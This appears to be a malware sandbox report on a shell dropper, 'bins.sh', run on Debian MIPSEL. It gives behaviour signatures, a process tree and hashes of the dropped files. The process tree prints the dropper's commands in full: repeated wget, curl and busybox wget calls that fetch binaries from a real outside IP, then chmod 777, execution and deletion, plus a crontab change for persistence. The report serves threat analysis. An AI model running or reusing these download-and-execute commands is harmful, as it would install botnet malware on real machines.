Analysis

  • max time kernel
    74s
  • max time network
    144s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21/11/2024, 10:22

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    456d18e88229695ec48121c8a61d19dd

  • SHA1

    f150b8f54e5439a20273cb97837006150e6c55ac

  • SHA256

    ee06e4cbf1285bfe61e7847dbdc807b5011ef76d78cd14cf70228c7fb001939c

  • SHA512

    c371c3651c6c6d0e643fe3a445a032d01477451ae301dde621380b552d88398623c470dd8eeb64d374abd9fd10ddf5755618f018be00c888870e0a4f624f7b06

  • SSDEEP

    192:mAs44Ans0vPUPcPPKWFLvO4L8Yea7rKrWr5KyC7jn+37uiV7wgHKWm7y+I8EKQA+:7SKPKWUnTaIO3livFT6YSKPKW6

Malware Config

Signatures

  • Contacts a large (1568) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:713
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:715
        • /usr/bin/wget
          wget http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Writes file to tmp directory
          PID:720
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          ./Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
          • Executes dropped EXE
          PID:744
        • /bin/rm
          rm Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Writes file to tmp directory
            PID:747
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Writes file to tmp directory
            PID:749
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Writes file to tmp directory
            PID:750
          • /bin/chmod
            chmod 777 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • File and Directory Permissions Modification
            PID:751
          • /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            ./3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
            • Executes dropped EXE
            PID:752
          • /bin/rm
            rm 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
            2⤵
              PID:754
            • /usr/bin/wget
              wget http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Writes file to tmp directory
              PID:755
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Writes file to tmp directory
              PID:756
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Writes file to tmp directory
              PID:764
            • /bin/chmod
              chmod 777 ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • File and Directory Permissions Modification
              PID:778
            • /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              ./ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
              • Executes dropped EXE
              PID:780
            • /bin/rm
              rm ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
              2⤵
                PID:783
              • /usr/bin/wget
                wget http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Writes file to tmp directory
                PID:784
              • /usr/bin/curl
                curl -O http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:792
              • /bin/busybox
                /bin/busybox wget http://87.120.125.191/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Writes file to tmp directory
                PID:805
              • /bin/chmod
                chmod 777 U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • File and Directory Permissions Modification
                PID:809
              • /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                ./U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                • Executes dropped EXE
                PID:810
              • /bin/rm
                rm U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
                2⤵
                  PID:812
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:813
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:815
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:816
                • /bin/chmod
                  chmod 777 egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • File and Directory Permissions Modification
                  PID:817
                • /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  ./egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery
                  PID:818
                • /bin/rm
                  rm egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
                  2⤵
                  • System Network Configuration Discovery
                  PID:820
                • /usr/bin/wget
                  wget http://87.120.125.191/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Writes file to tmp directory
                  PID:821
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Writes file to tmp directory
                  PID:822
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Writes file to tmp directory
                  PID:823
                • /bin/chmod
                  chmod 777 16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • File and Directory Permissions Modification
                  PID:824
                • /tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  ./16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                  • Executes dropped EXE
                  PID:826
                • /bin/rm
                  rm 16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2
                  2⤵
                    PID:829
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Writes file to tmp directory
                    PID:831
                  • /usr/bin/curl
                    curl -O http://87.120.125.191/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Writes file to tmp directory
                    PID:840
                  • /bin/busybox
                    /bin/busybox wget http://87.120.125.191/bins/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Writes file to tmp directory
                    PID:850
                  • /bin/chmod
                    chmod 777 nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • File and Directory Permissions Modification
                    PID:853
                  • /tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    ./nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:854
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:857
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:858
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:859
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:862
                        • /bin/rm
                          rm nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f
                          2⤵
                            PID:868
                          • /usr/bin/wget
                            wget http://87.120.125.191/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                            2⤵
                              PID:886
                            • /usr/bin/curl
                              curl -O http://87.120.125.191/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                              2⤵
                                PID:954
                              • /bin/busybox
                                /bin/busybox wget http://87.120.125.191/bins/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                                2⤵
                                • Writes file to tmp directory
                                PID:956
                              • /bin/chmod
                                chmod 777 dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                                2⤵
                                • File and Directory Permissions Modification
                                PID:962
                              • /tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                                ./dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                                2⤵
                                • Executes dropped EXE
                                PID:963
                              • /bin/rm
                                rm dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc
                                2⤵
                                  PID:966
                                • /usr/bin/wget
                                  wget http://87.120.125.191/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                  2⤵
                                    PID:967
                                  • /usr/bin/curl
                                    curl -O http://87.120.125.191/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                    2⤵
                                      PID:972
                                    • /bin/busybox
                                      /bin/busybox wget http://87.120.125.191/bins/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:973
                                    • /bin/chmod
                                      chmod 777 PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:974
                                    • /tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                      ./PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                      2⤵
                                      • Executes dropped EXE
                                      PID:975
                                    • /bin/rm
                                      rm PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a
                                      2⤵
                                        PID:977
                                      • /usr/bin/wget
                                        wget http://87.120.125.191/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                        2⤵
                                          PID:978
                                        • /usr/bin/curl
                                          curl -O http://87.120.125.191/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          2⤵
                                          • Reads runtime system information
                                          PID:979
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.125.191/bins/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:980
                                        • /bin/chmod
                                          chmod 777 aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:981
                                        • /tmp/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          ./aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          2⤵
                                          • Executes dropped EXE
                                          PID:982
                                        • /bin/rm
                                          rm aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF
                                          2⤵
                                            PID:983
                                          • /usr/bin/wget
                                            wget http://87.120.125.191/bins/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
                                            2⤵
                                              PID:984
                                            • /usr/bin/curl
                                              curl -O http://87.120.125.191/bins/mMuqNAVbMSWILN6XCfuBOpc77iB4QmpVRK
                                              2⤵
                                                PID:985

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • /tmp/16AuKiZRP7k0SwPh7meRu8VLQQO7cvNnE2

                                              Filesize

                                              127KB

                                              MD5

                                              89077b7bd4bcafca7713be43635c4862

                                              SHA1

                                              fc02edb8fba29ea8ee99e6157ef8560334530052

                                              SHA256

                                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                              SHA512

                                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                            • /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby

                                              Filesize

                                              111KB

                                              MD5

                                              ca897a38f23ec23521ce0b1b83f8422d

                                              SHA1

                                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                              SHA256

                                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                              SHA512

                                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                            • /tmp/PYOd68tjvQyx44BE9yR3x8hQwvDXciuG4a

                                              Filesize

                                              99KB

                                              MD5

                                              9438d9bc392bcf300a5583b6df5bc8f6

                                              SHA1

                                              375a6ae34b516f6f3eeea8030c4084f585017efa

                                              SHA256

                                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                              SHA512

                                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                            • /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH

                                              Filesize

                                              111KB

                                              MD5

                                              701e7a55a4f3650f5feee92a9860e5fc

                                              SHA1

                                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                              SHA256

                                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                              SHA512

                                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                            • /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T

                                              Filesize

                                              112KB

                                              MD5

                                              05d7857dcead18bbd86d2935f591873c

                                              SHA1

                                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                                              SHA256

                                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                              SHA512

                                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                            • /tmp/aJR47pt9V7C4PpCyIsLF5cLI0saxzNxoHF

                                              Filesize

                                              141KB

                                              MD5

                                              3ca8decdb1e52c423c521bfff02ac200

                                              SHA1

                                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                                              SHA256

                                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                              SHA512

                                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                            • /tmp/dnSDCKA4ZO9CHppzt5dRCNkEBwQa0TUgxc

                                              Filesize

                                              177KB

                                              MD5

                                              786d75a158fe731feca3880f436082c0

                                              SHA1

                                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                              SHA256

                                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                              SHA512

                                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                            • /tmp/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og

                                              Filesize

                                              119KB

                                              MD5

                                              1b166b95f9cb4b079ef1b9ec8363ddf3

                                              SHA1

                                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                                              SHA256

                                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                              SHA512

                                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                            • /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV

                                              Filesize

                                              122KB

                                              MD5

                                              cd3d4b9c643e5b473fb4d88ed05f0716

                                              SHA1

                                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                                              SHA256

                                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                              SHA512

                                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                            • /tmp/nCCkpMu5UVIqnlBLhXEVgv6hVyuVqVUe4f

                                              Filesize

                                              151KB

                                              MD5

                                              6c583043d91c55aa470c08c87058e917

                                              SHA1

                                              abf65a5b9bba69980278ad09356e53de8bb89439

                                              SHA256

                                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                              SHA512

                                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                            • /var/spool/cron/crontabs/tmp.PYxvyM

                                              Filesize

                                              210B

                                              MD5

                                              653c61e33ba8a7d4458e33b5f215a6c9

                                              SHA1

                                              1f351f88a83970e8f8843eb48def425a5ac5f010

                                              SHA256

                                              da625f0eac6028553a11e30526ea0a38687d4cbeb529558b5f9af338a42dc3df

                                              SHA512

                                              7cdd833a132a686703ed737aed532b2f31682b3429952f7f50497c6c18e99b15dd4804f71b63cfaf22197cc8e699a762429630767e5320cb8ef5bb88f5ed59d3